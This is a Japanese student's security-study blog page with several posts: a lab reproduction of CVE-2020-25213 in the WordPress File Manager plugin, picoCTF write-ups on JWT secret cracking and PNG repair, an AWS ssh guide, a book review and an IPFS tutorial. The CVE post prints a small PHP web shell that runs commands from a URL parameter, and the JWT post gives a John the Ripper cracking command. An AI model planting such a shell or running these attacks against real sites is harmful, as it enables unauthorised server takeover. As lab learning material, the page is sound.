Zuck3r’s Study

エンジニアではありません

CVE-2020-25213の検証

はじめに

なんか、脆弱性が通る環境を再現して攻撃してみたいなと思い至り、今回は2020年話題になったWordPressプラグイン「File Manager」の脆弱性を確認してみる事にしました。

本題

1.先ずは環境の構築

ワードプレスの構築自体はこちらの私が書いた記事通りに行いました。

qiita.com

ワードプレスが立ち上がるようになったところで、次に何が必要かというと、そうですね、プラグイン「File Manager」の脆弱性が存在するバージョンですね。普通に、こちらのプラグインをインストールすると最新版のパッチが当たったものが追加されます。なので、過去のバージョンを以下のサイトからzip形式でダウンロードしましょう。

ja.wordpress.org

ページ下の方にダウンロードするバージョンを指定できるので、ver.5.9を選びましょう。そして、こちらのzipファイルをアップロードする訳ですが(ダウンロードしたzipファイルの中のzipファイルを利用します)恐らく、アップロードできるサイズのディレクティブを超えているといった内容のエラーが出ると思います。なので、/etc/php/version/apache2/php.iniupload_max_filesize行の値を5Mくらいに変更してください。その後に設定をリロード。これでアップロード出来るようになります。

sudo systemctl reload apache2

File Manager(脆弱なver.)が使えるようになったので遊んでいきましょう。使用した、エクスプロイトはこちらのgithubURLになっています。

github.com

使用例としては以下の通り。一応メインのオプションにざっくり解説を入れておく。

-u・・・こちらは対象となるホストアドレスを指定
-f・・・アップロードするファイルの指定。(リバースシェルとかかな)
-k・・・脆弱のあるワードプレスサイトなのかのディテクション

f:id:Zuck3r:20201222025546p:plain

で、僕は思いました。そうだ、稚拙でもリバースシェルもどきを作ってみよう!と…かなりダサいし機能もショボイですが一応、動かしてみた。以下のコードです。うわぉ、これは酷いって感じ。

<?php
    $x = $_GET['x'];
    $output = shell_exec($x);
    echo "<pre>$output</pre>";
?>

僕はこいつを検証サーバに仕込んでみました。このようなペイロードだと、ブラウザでそのurlにアクセスして、パラメータに使用したいコマンドをぶち込めば動きますね!例を挙げておきます!

targeturl/wp-content/plugins/wp-file-manager/lib/files/hoge.php?x=cd ../ ; ls -a

こんな感じとか。一個上のディレクトリの中身覗けますね!これで確かに、攻撃が通って不味い事が分かりました!

どうしてこんな事が起きたんだろ?

ただ、脆弱性を試してみるだけでは味気無いなと。なんで、任意のファイルがアップロード出来たのかな?と気になったので僕が分かった範囲でまとめたいと思います。
先ずは、NVDのレポートを読んでみました。安全でないelFinderの使い方が本脆弱性の起点だという事が読み取れました。
そして、elFinderって何?となったんですが、こちらはサーバ上のファイルなどを簡単に操作するためのファイルマネージャ用のライブラリだそうです。結局以下が理由のようです(間違っていたら申し訳ない。)

  • File Managerプラグインが、このライブラリに含まれる connector.minimal.php.dist というファイルの拡張子を .phpに直接変更していた。
  • こういったライブラリには、アクセス制御を追加せずに そのまま使用 することを意図していないサンプルファイルが含まれていることが多く、このファイルには直接のアクセス制限がなく誰でもアクセス出来た。
  • そしてそのファイルの中に、elFinderのコマンド(mkfile, upload)が実行できる物があり任意のファイルを上げることが出来た。という運びです。

NVD - CVE-2020-25213

詳しくは以下を読んだ方が良いです!

www.wordfence.com

最後に

またもや、久しぶりの記事に成りました。就活や、オンライン講義も期末という佳境が近づいて参りとても忙しいです… インプットはそれなりに続けています。なので、また落ち着いたら1か月に1回書けたら良いなと思ったりしています。
また、最近またコロナウイルスが猛威を振るい始めて少し心配ですね。出来る限りの対策を取りながら、進めるべき物事を進めていきたいと思います!

AWS EC2にssh接続しよう(AWS Educate)

はじめに

学校で使う機会が増え、こういったサービスを使い慣れていない学生が困っているのを見かけたので少しでも役に立てればなという事で書いています。

本題

1.AWSマネジメントコンソールを開く

注意すべきなのは、AWS Educateは普通のAWSのサイトからサインイン出来ないという事だ。ちゃんと、AWS Educateのアカウントを取得して以下のリンクからサインインしないといけない。 https://www.awseducate.com/signin/SiteLogin

そして、右上にあるAWS Accountをクリック。AWS Educate Starter Accountというボタンが出てくるので次にそこをクリックする。次のページに出てくるAWS Consoleを押せばAWSマネジメントコンソールを開くことが出来る。 f:id:Zuck3r:20201016143442p:plain

2.EC2インスタンスを作成する。

サービスを検索するから、EC2を見つけ出して選択する。すると、EC2 ダッシュボードを開くことが出来る。 f:id:Zuck3r:20201016144313p:plain

そして、中央左にあるインスタンス起動をクリックする。すると、使用するOS選択やインスタンスのタイプを聞かれるのでそれぞれ選択する。 f:id:Zuck3r:20201018082300p:plain 最後の起動ボタンまで行くと、新しいキーペアを作成するように言われる。キーペア名を決めてダウンロードします。できたら、インスタンスの作成へ。 f:id:Zuck3r:20201018082644p:plain 次はダウンロードした、キーペアのパーミッションを変更します。
ここまで来たら後は接続するだけ。次にsshコマンドを打ちます。因みに、この -i オプションは接続に使用する公開鍵ファイルを指定する

$ chmod 400 Key.pem
$ ssh -i "Key.pem" ubuntu@ec2-3-91-243-230.compute-1.amazonaws.com

最後に

ここまで読んで頂きありがとうございます。コロナの影響でオンライン講義が進み、AWSを使う講義も増えていると思います。初めてこういった物を触る人は大変だと思うので少しでもお役に立てれば幸いです。

picoCTF 2019 : JaWT Scratchpad を考えてみる

はじめに

久しぶりの記事になっています… 少し基礎知識を増やしたいなという事で半年は本を読んだり、インプット多めの期間となっていました。また、学校のオンライン講義移行等で生活の変わりように慣れるのに少し手間取ったりしていました。💦 それでは、問題を解いていきたいと思います。

本題

問題はこんな感じ。adminでログインしたらフラグが出ますよ~と言った感じでしょうか。 f:id:Zuck3r:20200824214554p:plain 一先ず、URLにアクセス。ヒントを見ても、サイトを見てもJWTについて強く触れているのでそれについて調べてみる… f:id:Zuck3r:20200824214858p:plain

JWTとは何なのか?JSON Web Tokenの略称であり、属性情報(Claim)をJSONデータ構造で表現したトークンの仕様らしい。 分かり易く説明しているサイトがあったのでリンクを貼っておきます。ほぉ、こんなものがあったのかと。 techblog.yahoo.co.jp という事で""hoge""と、""admin""でログインしてみる。確かに、""hoge""の方ではログイン出来たのでJWTがクッキーの中にある。ついでにデコードした内容も貼っておきます

f:id:Zuck3r:20200824215452p:plain
hogeでログイン
f:id:Zuck3r:20200824215839p:plain
hogeでログインした時のクッキーをデコードしたもの
f:id:Zuck3r:20200824220016p:plain
adminは上手くいくわけも無く…

一先ず、安直にクッキーの改竄を考えた。userをadminにすれば良いのでは無かろうかと。クッキーを入れ替えリロード。すると、Internal Server Errorエラーが出た。どうやらダメらしい。

f:id:Zuck3r:20200824220341p:plain
左の値をクッキーのjwtにセットしてみる

次はどうしよう。下の文を読み返してみた。Johnにリンクがあり、John The Rippergithubページに飛ばされた。まぁ、使えという事だろう。 john the ripper hacking jwt と検索した感じで行くと、弱い秘密鍵を見つけ出すことが出来るらしい。という事で、おすすめのパスワードリストとされているrockyou.txtを辞書として使い攻撃してみる…コマンドとしては以下の通り。出てきた秘密鍵をさっきの改竄したjwtに入れ直して、変更したクッキーを入れてページをリロード。フラグが出た。

sudo john /home/kali/Desktop/pico.jwt --wordlist=/home/kali/Desktop/rockyou.txt

f:id:Zuck3r:20200824234106p:plain
出てきた秘密鍵に変更して、クッキーを改竄するとフラグが出た

最後に

かなり久しぶりにCTFの問題を解いてみました。以前よりも、意味がより理解できるようになっていたので少し安心しました。 JWTに対する攻撃方法が他にもヘッダーのalgフィールドをnoneにしてしまう方法など、プラスアルファの知識も増えて個人的には良かったです。 今後も、時間が取れれば少しずつですが更新していきたいと思います。

picoCTF2019 : c0rrupt(Forensics)から得た知見まとめ

はじめに

今回は、c0rruptについて解こうと思って色々調べて得た知見についてまとめたいと思います。

本題

問題はこんな感じ。

f:id:Zuck3r:20191105171106p:plain
問題
Recoverとあるので修復せよという事らしい。取り敢えずxxdで16進数にダンプした結果のアタマとケツを確認してみた。
f:id:Zuck3r:20191105173127p:plain
アタマ
f:id:Zuck3r:20191105173208p:plain
ケツ
アタマの方ではRGB、ケツの方ではIENDを読み取ることが出来る。RGBと言えば、色のことだろうか。また、IEND バイナリ と検索してみた。すると、どうやらこれはPNGファイルのイメージ終端に付いてるもののようだ。以下にPNGのファイルフォーマットをザっとまとめてみた。
f:id:Zuck3r:20191105191149p:plain
pngのファイルフォーマット
この後、再び問題ファイルを見てみるとヘッダ、IHDRチャンク,IDATチャンク一か所が壊れていることが分かった。上にあるスクショを見れば分かると思います。今回は、Stirlingというバイナリエディタで書き換えることにしました。 以下の黄色のマーカの部分が違っていたので直しました。
f:id:Zuck3r:20191105232702p:plain
変更後

最後に

今回初めて、ファイルの構造を明確に意識して解きました。そういえば、以前pdfファイルを解析していた際にEOFと出てきたりして少しだけ調べていたことを思い出しました。これを機にjpegのファイル構造について調べ知ることが出来たので良かったです。時間があったら別の記事でザっとまとめておきたいと思います。

「プロになるためのweb技術入門」を読みました(後編)

 初めに

これは少し前に書いた記事の後編です。

「プロになるためのweb技術入門」を読みました(前編) - Zuck3r’s Study

「プロになるためのWeb技術入門」 ――なぜ、あなたはWebシステムを開発できないのか

「プロになるためのWeb技術入門」 ――なぜ、あなたはWebシステムを開発できないのか

本題

後編という事で、今回はLesson5~7を触れていきたいと思います

Lesson5:Webアプリケーションの構成要素

この章は、Webアプリケーションを構成するサーバの種類やその役割に対する説明でした。DBサーバや、APサーバ、Webサーバについてです。APサーバだとTomcat、DBサーバだとMYSQLやポスグレなどを知っていたので理解しやすかったです。個人的に曖昧になっていた、WebサーバとAPサーバの役割をはっきりできたので良かったです。前者は静的コンテンツへのリクエストがメインで、後者は動的コンテンツのリクエストがメインといった感じです。

Lesson6:Webアプリケーションを効率よく開発するための仕組み

この章が最も内容が多いと思います。なので、個人的に理解が深まった部分いくつかを紹介したいと思います。
まずは、MVCモデルの詳細についてです。「Model,View,Controler」程度の知識はありましたが、詳しくはどうして分けて、何を分割しているのは曖昧でした。しかし、この章を読み、モデルは主にアプリケーションの処理、ビューはモデルによる処理結果の画面への表示を、コントローラは画面からの情報の入力と、モデルの呼び出し、そしてその結果に従ったビューの呼び出しを担当するといった風に分かりました。

f:id:Zuck3r:20190925013726p:plain
MVC Model
また、O/Rマッピングフレームワークによるデータアクセス層の実現では、どのようにDBサーバからSQLを使いほしい情報を取ってくるのか分かり易く解説してありました。

Lesson7:セキュリティを確保するための仕組み

CTFのWeb問の解説見たりしているので、それなりに知っている脆弱性が多かったです。(SQLiやXSS...)。CSRFは何となくしか理解していなかったのですが、丁寧に説明しており分かり易かったです。ワンタイムトークンの利用には”だからか”と思わされました。このワンタイムトークン、注文ボタンを押した後、戻るボタンを押して、再度注文ボタンを押してしまった際の多重注文の対策にも使われていると知り、何故そういった事が回避されているのか分かりました。

f:id:Zuck3r:20190925013525p:plain
CSRFの概要

最後に

Webアプリケーションについて、思っていたよりも丁寧に分かりやすく書いてあって良かったです。これから、Webを学んでいくぞ。という方にはおススメの一冊だと思います。何か挙げるのであれば、本の内容で使うブラウザがIE準拠なので少し古く感じることだと思いました。基本的なWeb技術を学ぶという点では問題ありませんでした。

「プロになるためのweb技術入門」を読みました(前編)

 初めに

こんにちは。Zuck3r(ザッカー)です。
現在、私はB2なのですが友人とあるwebアプリケーションを作るイベントに参加してお り、この際にしっかりweb技術についての知見を深めておこうと思い読むことにしました。また、とあるセキュリティ企業の1Dayインターンに参加させて頂いた際に、webの脆弱性診断体験をして面白いと思ったという事もあります。
以下が読んだ本のAmazonのリンクです。

「プロになるためのWeb技術入門」 ――なぜ、あなたはWebシステムを開発できないのか

「プロになるためのWeb技術入門」 ――なぜ、あなたはWebシステムを開発できないのか

本題

Lesson1~4を前半、Lesson5~7を後半として各レッスンで得たことをまとめていきたいと思います。

Lesson1:「Webアプリケーション」とは何か

この章は短いです。この内容は私も知っていました。主に、デスクトップアプリケーションとWebアプリケーションの違いについてですね。デスクトップアプリケーションだと、「Office、Photoshop...etc」でしょうか。Webアプリケーションだと、「はてなブログTwitter...etc」ですね。個人的にはWebアプリケーションのほうが使う機会が多い気がします。

Lesson2:Webはどのように発展したか

先ほどの章よりかは、長かったですね。"WWW"の話や、"サーバ"と"クライアント"についての話がありました。この点は学校で習っていたこともあり復習になりました。そして、動的コンテンツを表示するために編み出された"CGI"という技術。名前は、聞いたことがありましたが概要についてはしっかり把握していませんでしたが、動的に表示する部分を分け、その部分の処理を"Perl"や"C"に任せるのという事を知ることができ納得しました。"Javaサーブレット"から、"JSP"への発想の逆転には、”なるほど、確かにこれの方が効率がいいなと思いました"。

Lesson3:HTTPを知る

この章のページ数はLesson2より少し多いくらいでした。内容としては"HTTP"という通信プロトコルについてでした。通信プロトコルは自分で"WireShark"や"Postman""、"BurpSuite"を使い学んでいたので特に躓く点はありませんでした。まだ完璧ではないので、得られた知識ももちろんありました。メッセージヘッダについては曖昧にしか理解していなかったので、良い機会になりました。基本的に構造としては <フィールド名>:<フィールド値> となっています。以前、UserAgentを変えてフラッグを得るCTFの問題があったなと思いました。
ステータスコードについての内容もありました。"502 Bad Gateway"は日頃見かけたりすることもあるので知ってる人も多いかもしれません。"200 OK"等のグッドなステータスはよく返してくれているとは思うのですが、これ自体を見ることは少ないですね。
ウェルノウンポートは、やはり覚えておく方がいいと思います。自分は、半分勘みたいなところがあるので一応画像を貼っておこうと思います。

f:id:Zuck3r:20190917215847j:plain
ウェルノウンポート
最後に、最も重要だと思ったのは"GET"リクエスト、"POST"リクエストの違いです。GETだと、クエリ文字列が直接URLに書き込まれ危ないなと思ったのですが、確かにオープンな情報で、共有する時などにはGETの方が視覚的に分かり易いですね。”POST"リクエストはその点、パラメータをメッセージボディーに格納するので多少は安全になるのでしょう。しかし、セキュリティの勉強をしている身からすると、ここの通信が盗聴されてしまっては入力したパラメータがモロバレするので、やはりSSL/TLSによる暗号化は大切だなと思いました。

Lesson4:CGIからWebアプリケーションへ

内容が、より現代使われているwebアプリケーションに近くなってきました。ログイン機能の認証がどうなっているのかかについて紐解いていくところから始まりました。丁度、開発しているアプリのログイン機能について悩んでいたので、非常に為になりました。”クッキー"、"セッション"について解説していました。クッキーは比較的簡単に覗くことが出来るため、より安全に多くの情報を保持するためにセッションという仕組みが作られたと書いてありました。この本で利用した例のサイトでは"セッションID"はハッシュ関数で生成されていそうな感じでした。この章は、なるほどと思うことが多かったです。

最後に

まだ、読んでいる途中ではありますが近日中に後半についてもまとめたいと思っています。知ってることも多いのですが、初学者や基礎をバッチリ固めたい方には今のところおすすめの本と言えそうです。 最後までお読みいただきありがとうございました。

IPFSを触ってみた

f:id:Zuck3r:20190713214155p:plain

IPFSって何だろう

IPFSとは、InterPlanetary File SystemでProtocol Labsにより開発が進めれられているP2Pネットワーク上で動作するハイパーメディアプロトコルとその実装の事です。
簡単に言えば、分散型P2Pファイル共有システムです。

私達が、日頃使っているHTTPはロケーション指向型プロトコルです。これは、私が"hogeA.com/abc/hoge.jpg"にアクセスしたとき、””hogeA.comというホストサーバにある、abcディレクトリの内のhoge.jpg””から情報を得るという方式で、つまりはどの場所にあるのか(ロケーション)を指定してアクセスする訳です。

一方で、IPFSはコンテンツ指向型プロトコルとなっています。例えば、私が”Fractures”という曲を聴きたいとします。その時、Youtubeで聴くのとSoundCloudや、iTunesなどを利用して聴くといった違いによって内容が変わるでしょうか?いずれであっても、同じ音楽を聴くことができます。以上のことを踏まえると、同じ内容であれば、どのサーバー上から取得したのか、どんな名前のファイルなのかはあまり重要ではないという事が言えます。このように、"どういった内容なのか"という事に、内容(コンテンツ)そのものの情報に重きを置き、直接アクセスします。ちなみに、このコンテンツにはハッシュを割り振り、そのアドレスにアクセスします

本題

1.まずはgo-ipfsのダウンロードと準備

下記のサイトからダウンロードします。私はUbuntuで動かしたのでLinuxのファイルをダウンロードしました。自分の環境に合わせて変えてください。
https://dist.ipfs.io/#go-ipfs

$ wget https://dist.ipfs.io/go-ipfs/v0.4.21/go-ipfs_v0.4.21_linux-amd64.tar.gz
$ tar xvzf go-ipfs_v0.4.21_linux-amd64.tar.gz
$ cd go-ipfs
$ sudo ./install.sh
$ ipfs version

上記の操作により、準備が完了します。入ったか、最後にバージョンを確認しちゃんと入ったか確認します。

2.実際に動かしていく

次は以下のコマンドを実行しローカルリポジトリを初期化します。

$ ipfs init

すると、ユーザーのhomeディレクトリ直下に、.ipfsディレクトリが生成されます。このディレクトリがIPFSのリポジトリになります。今度は、readmeファイルの内容を取得してみます。

$ ipfs cat /ipfs/QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv/readme

では起動してみましょう。自分が立ち上げたノードと接続されたpeerも確認してみます。

$ ipfs daemon
#下のコマンドでpeerの確認
$ ipfs swarm peers

私は、ipfs daemonでエラーが出ました。ポートが他で使っていて駄目なようだったので、ホームディレクトリ直下に作成された.ipfs/configのportとある行の部分を別のポート番号に書き換えるとうまく行きました。

問題なく動いているか確認するためにパブリックなネットワークから猫🐱ちゃんの画像を取得してみましょう。

$ ipfs cat /ipfs/QmW2WQi7j6c7UgJTarActp7tDNikE4B2qXtFCfLPdsgaTQ/cat.jpg >cat.jpg

f:id:Zuck3r:20190713233657j:plain

猫の画像がちゃんと開ければ成功です。

3.今度は自分でファイルをアップロードしてみる

今度は画像ファイルを自分で上げてみます。以下のようにコマンドを打って下さい。

$ ipfs add file_name(ファイル名を入れてください)
# added Qmxxxxxxxxxxxxxxxxxxxxxxxxxxx file_name

上のようになると思います。ここで取得したハッシュ値を以下のリンクの部分に入れるとそのファイルにアクセス出来ます。8080の部分は各々が設定したポート番号にして下さい。

http://localhost:8080/ipfs/(ハッシュ値)

ちなみに、本当にコンテンツ指向型なのか確認するために同じファイルを違う名前にしてみてアップロードしてみて下さい。同じハッシュ値が帰ってくるはずです。

終わりたいときは、ctrl+cでOKです。

4.最後に

今回はIPFSを使ってみました。分散型にファイルを扱うのはとても興味深いと思いました。ハッシュ値についても最近、暗号技術について勉強したばかりで理解が深まったので良かったです。